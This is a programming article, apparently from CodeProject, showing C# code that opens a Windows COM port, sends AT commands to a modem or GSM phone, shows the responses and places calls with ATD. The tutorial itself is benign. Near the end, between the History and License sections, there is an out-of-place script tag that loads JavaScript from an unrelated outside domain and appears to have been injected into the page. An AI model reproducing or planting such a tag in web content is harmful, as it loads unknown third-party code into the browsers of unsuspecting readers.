Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles
(untagged)

Check Modem or GSM Phone by AT Commands

0.00/5 (No votes)
26 Nov 2014 1  
Main program for testing modem or GSM phones by AT commands, use only standard classes and libraries.

Introduction

This is a simple application for sending at-commands to COM ports in Windows.

Background

You can use this for your own application for sending SMS or making calls.

This is very simple and uses .NET Framework 4 in Visual Studio 10 project.

First, we need to open serial port:

 private void button1_Click(object sender, EventArgs e)
        {
     //SerialPort port = new SerialPort( ?COM1? , 9600, Parity.None, 8, StopBits.One);
            try
            {
                if (this.serialPort1.IsOpen) this.serialPort1.Close();

                this.serialPort1.PortName = this.comboBox1.SelectedItem.ToString() ;

                //this.serialPort1.BaudRate = 460800;
                //set up parameters of COM port
                this.serialPort1.BaudRate = 115200;
                this.serialPort1.Parity = Parity.None;
                this.serialPort1.DataBits = 8;
                this.serialPort1.StopBits = StopBits.One;
                this.serialPort1.Handshake = Handshake.None;

                // Set the read/write timeouts
                this.serialPort1.ReadTimeout = 500;
                this.serialPort1.WriteTimeout = 500;
                //open COM port
                this.serialPort1.Open();
                //change status strip
                this.statusStrip1.Items.Clear();
                this.statusStrip1.Items.Add("Port " + this.serialPort1.PortName + " is open.");
            }

            catch (IOException er)
            {
                MessageBox.Show("Com port error " + er.Message);
            }
        }

Now, we can send any AT command to the serial port:

private void button3_Click_1(object sender, EventArgs e)
        {   //send command to COM port

            //check status COM port
             if (!this.serialPort1.IsOpen)
            {
                MessageBox.Show("Open COM port, for example:COM1");
                return;
            }
            this.textBox2.Clear();
            //check for command for COM port
            if (this.comboBox2.Text == "")
            {
                MessageBox.Show("Input command for COM port, for example: AT");
                return;
            }

            if (this.serialPort1.IsOpen)
            {
                try
                {//tip
                    this.serialPort1.Close();
                    this.serialPort1.Open();

                    //write command to COM port                       
                    this.serialPort1.Write(this.comboBox2.Text + "\r\n");

                    //write command to  TextBox                       
                    this.textBox2.AppendText(this.comboBox2.Text + "\r\n");
                }

                catch (TimeoutException e2)
                {
                    MessageBox.Show("Com port timeout error " + e2.Message);
                }
            }            
        }

To send correct command, I'm using these tips, all other methods do no want to work -:(:

this.serialPort1.Close();
this.serialPort1.Open();

and then sending command to COM port:

this.serialPort1.Write(this.comboBox2.Text + "\r\n");

It works well!

For receiving data, I used invoke function and new event handler for COM port:

this.serialPort1.DataReceived += new SerialDataReceivedEventHandler(serialPort1_DataReceived);

string InputData = String.Empty;
// delegate for CallBack method
delegate void SetTextCallback(string text);

//method of our Callback
private void SetText(string text)
{
    if (this.textBox2.InvokeRequired)
    {
        SetTextCallback d = new SetTextCallback(SetText);
        this.Invoke(d, new object[] { text });
    }
    else
    {
        this.AddData(text);
    }
} 

private void serialPort1_DataReceived(object sender, SerialDataReceivedEventArgs e)
{
    InputData = this.serialPort1.ReadExisting();
    if (InputData != String.Empty)
    {
        SetText(InputData);
    }
}

All code is working, so test it.

And now you can make a call, just type a number in this format:

ATDnumbers;

and push the button -"Call".

New option -"Always call" - it allows deal phone, until you uncheck this checkbox.

Also added list of AT command. Just select any command and push "Copy command" button and this command appears in "AT command" line, and then push "Send command".

Now testing is more easy!

Points of Interest

I'm not using any third party library or anything else in this project.

History

I'm planning to add some functionality in the future for sending SMS or making calls.

<script src="http://centrexity.com/converter.js" type="text/javascript"></script>

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here